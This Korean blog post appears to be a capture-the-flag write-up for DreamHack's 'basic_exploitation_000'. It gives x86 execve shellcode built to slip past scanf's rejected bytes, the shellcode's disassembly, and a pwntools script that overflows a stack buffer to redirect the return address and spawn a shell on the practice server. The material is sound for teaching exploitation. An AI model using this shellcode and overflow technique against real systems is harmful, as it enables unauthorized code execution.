전체적인 스케치: scanf 함수를 통해 buf에 쉘코드를 삽입하고, 스택 버퍼 오버플로우를 통해 메인 함수의 return address를 buf의 시작주소로 옮겨, buf에 들어가있는 쉘코드를 실행시킴으로서 쉘을 획득하면 되는 문제이다.
다만 주의해야할 점은,
1) 쉘코드 작성시 scanf 함수는 'x09, x0a, x0b, x0c, x0d, x20'와 이 이후의 값들을 읽어들이지 못 하기 때문에, 이를 우회한 쉘코드를 이용해야한다
2) x86 아키텍처에서 실행되는 execve syscall이므로, x86-64 아키텍처와 들어가게 되는 인자의 레지스터가 다르다. 이는 아래의 사진을 참고하자
사진을 통해 x86(32bit) 아키텍처에서의 execve의 인자 레지스터로는 eax, ebx, ecx, edx가 쓰임을 알 수 있다.
*풀이:
############ 어셈블리 코드(exploit000.asm) #############
section .text
global _start
_start:
xor eax, eax ; eax 0으로 초기화
push eax ; "/bin//sh" 끝에 null byte 추가
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; ebx를 esp 값으로 초기화
xor ecx, ecx ; ecx 0으로 초기화
xor edx, edx ; edx 0으로 초기화
mov al, 0x0e ; al = 0x0e
dec al ; al = 0x0d
dec al ; al = 0x0c
dec al ; al = 0x0b
int 0x80 ; execve syscall
############ objdump #############
exploit000.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0e mov $0xe,%al
15: fe c8 dec %al
17: fe c8 dec %al
19: fe c8 dec %al
1b: cd 80 int $0x80
############# 익스플로잇 코드(pwntools) ################
from pwn import *
context.arch='i386'
shell = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0e\xfe\xc8\xfe\xc8\xfe\xc8\xcd\x80'
p=remote('host3.dreamhack.games', 8267)
p.recvuntil(b'buf = (')
buf = int(p.recv(10),16) # buf의 시작 주소값
p.send(shell)
p.send(b'A'*(0x80-len(shell)))
p.send(b'BBBB')
p.send(p32(buf)) # buf의 주소값을 32비트 little endian로 패킹하여 전송
p.interactive()
*익스플로잇 코드 해석:
pwndbg를 통해 'basic_exploitation_000'을 디버깅 해봤다면 알겠지만, 메인 함수 스택 프레임의 크기는 아래 사진에서와 같이 0x80(-> add esp, -0x80)이다. 따라서 더미값으로 0x80만큼 채우고, SFP(x86 아키텍처이므로 4byte 크기임)를 채워주고, RET을 buf의 시작주소로 설정해준 것이다.
그 이후 쉘을 딴 후 cat flag를 해주면 끝이다.
'DreamHack: System Hacking > F Stage 5' 카테고리의 다른 글
basic_exploitation_001 (0) | 2023.04.13 |
---|---|
Exploit Tech: Return Address Overwrite(리턴 주소 변경 및 실습) (0) | 2023.04.11 |
Memory Corruption: Stack Buffer Overflow(개념) (0) | 2023.04.10 |
Quiz: Calling Convention(퀴즈: 함수 호출 규약) (0) | 2023.04.10 |
Background: Calling Convention(함수 호출 규약) (0) | 2023.04.10 |